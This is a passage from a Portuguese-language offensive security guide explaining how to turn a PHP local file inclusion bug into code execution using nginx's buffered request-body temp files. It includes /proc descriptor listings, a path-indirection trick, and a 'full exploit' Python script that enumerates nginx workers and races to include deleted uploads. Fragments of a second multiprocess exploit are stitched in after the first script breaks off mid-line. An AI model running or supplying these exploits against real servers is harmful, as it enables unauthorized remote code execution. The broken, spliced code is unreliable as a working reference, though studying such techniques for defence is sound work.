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/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Nota: Não se pode incluir diretamente \`/proc/34/fd/15\` neste exemplo, pois a função \`include\` do PHP resolveria o caminho para \`/var/lib/nginx/body/0000001368 (deleted)\`, que não existe no sistema de arquivos. Essa pequena restrição pode ser contornada por alguma indireção como: \`/proc/self/fd/34/../../../34/fd/15\`, que finalmente executará o conteúdo do arquivo deletado \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] trabalhador do nginx encontrado: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # fazer upload de um grande corpo de cliente para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('\[+] iniciando uploader') while not done: requests.get(URL, data=' //'
def send\_payload\_multiprocess(requests\_session): # Use todos os CPUs para enviar o payload como corpo da requisição para o Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate\_random\_path\_prefix(nginx\_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho do ProcFS. Um caminho gerado parecerá com /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escaneie os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da requisição abra dentro dessa faixa for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
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